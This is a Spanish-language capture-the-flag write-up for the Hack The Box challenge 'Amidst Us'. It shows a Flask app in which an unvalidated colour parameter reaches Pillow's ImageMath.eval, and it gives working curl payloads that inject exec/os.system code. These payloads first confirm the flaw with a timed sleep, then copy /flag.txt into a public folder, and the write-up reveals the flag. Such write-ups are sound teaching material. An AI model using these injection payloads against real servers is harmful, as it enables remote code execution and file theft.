Amidst Us
2 minutos de lectura
Tenemos la siguiente página web, que simula el juego Among Us:


Existe un botón para seleccionar un color con un color picker:


Si analizamos el código fuente, tenemos una aplicación en Flask (en Python). Este es application/blueprints/routes.py:
from flask import Blueprint, request, render_template, abort
from application.util import make_alpha
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def index():
return render_template('index.html')
@api.route('/alphafy', methods=['POST'])
def alphafy():
if not request.is_json or 'image' not in request.json:
return abort(400)
return make_alpha(request.json)
La función make_alpha está definida en application/util.py:
import os, base64
from PIL import Image, ImageMath
from io import BytesIO
generate = lambda x: os.urandom(x).hex()
def make_alpha(data):
color = data.get('background', [255,255,255])
try:
dec_img = base64.b64decode(data.get('image').encode())
image = Image.open(BytesIO(dec_img)).convert('RGBA')
img_bands = [band.convert('F') for band in image.split()]
alpha = ImageMath.eval(
f'''float(
max(
max(
max(
difference1(red_band, {color[0]}),
difference1(green_band, {color[1]})
),
difference1(blue_band, {color[2]})
),
max(
max(
difference2(red_band, {color[0]}),
difference2(green_band, {color[1]})
),
difference2(blue_band, {color[2]})
)
)
)''',
difference1=lambda source, color: (source - color) / (255.0 - color),
difference2=lambda source, color: (color - source) / color,
red_band=img_bands[0],
green_band=img_bands[1],
blue_band=img_bands[2]
)
new_bands = [
ImageMath.eval(
'convert((image - color) / alpha + color, "L")',
image=img_bands[i],
color=color[i],
alpha=alpha
)
for i in range(3)
]
new_bands.append(ImageMath.eval(
'convert(alpha_band * alpha, "L")',
alpha=alpha,
alpha_band=img_bands[3]
))
new_image = Image.merge('RGBA', new_bands)
background = Image.new('RGB', new_image.size, (0, 0, 0, 0))
background.paste(new_image.convert('RGB'), mask=new_image)
buffer = BytesIO()
new_image.save(buffer, format='PNG')
return {
'image': f'data:image/png;base64,{base64.b64encode(buffer.getvalue()).decode()}'
}, 200
except Exception:
return '', 400
El problema aquí está en el uso de ImageMath.eval. De hecho, existe CVE-2022-22817. Podemos usar exec para ejecutar código arbitrario en Python.
La inyección se procude en el parámetro background, que debería ser un valor RGB, pero no está validado. Por tanto, podemos tratar de importar el módulo os y ejecutar un comando sleep (necesitamos tener cuidado con las comillas y las barras oblicuas):
$ time curl 178.62.114.46:32326/api/alphafy -d '{"background":["exec(\"import os; os.system(\\\"sleep 5\\\")\")",255,255],"image":"'$(base64 challenge/application/static/images/arrow.png)'"}' -H 'Content-Type: application/json'
curl: (52) Empty reply from server
5,23 real 0,00 user 0,00 sys
Como la respuesta tarda más de 5 segundos, tenemos ejecución remota de comandos (RCE). Ahora, podemos mover el archivo flag.txt al directorio static y leer la flag:
$ curl 178.62.114.46:32326/api/alphafy -d '{"background":["exec(\"import os; os.system(\\\"cat /flag.txt > /app/application/static/flag.txt\\\")\")",255,255],"image":"'$(base64 challenge/application/static/images/arrow.png)'"}' -H 'Content-Type: application/json'
curl: (52) Empty reply from server
$ curl 178.62.114.46:32326/static/flag.txt
HTB{sl33p1ng_my_way_into_RCE}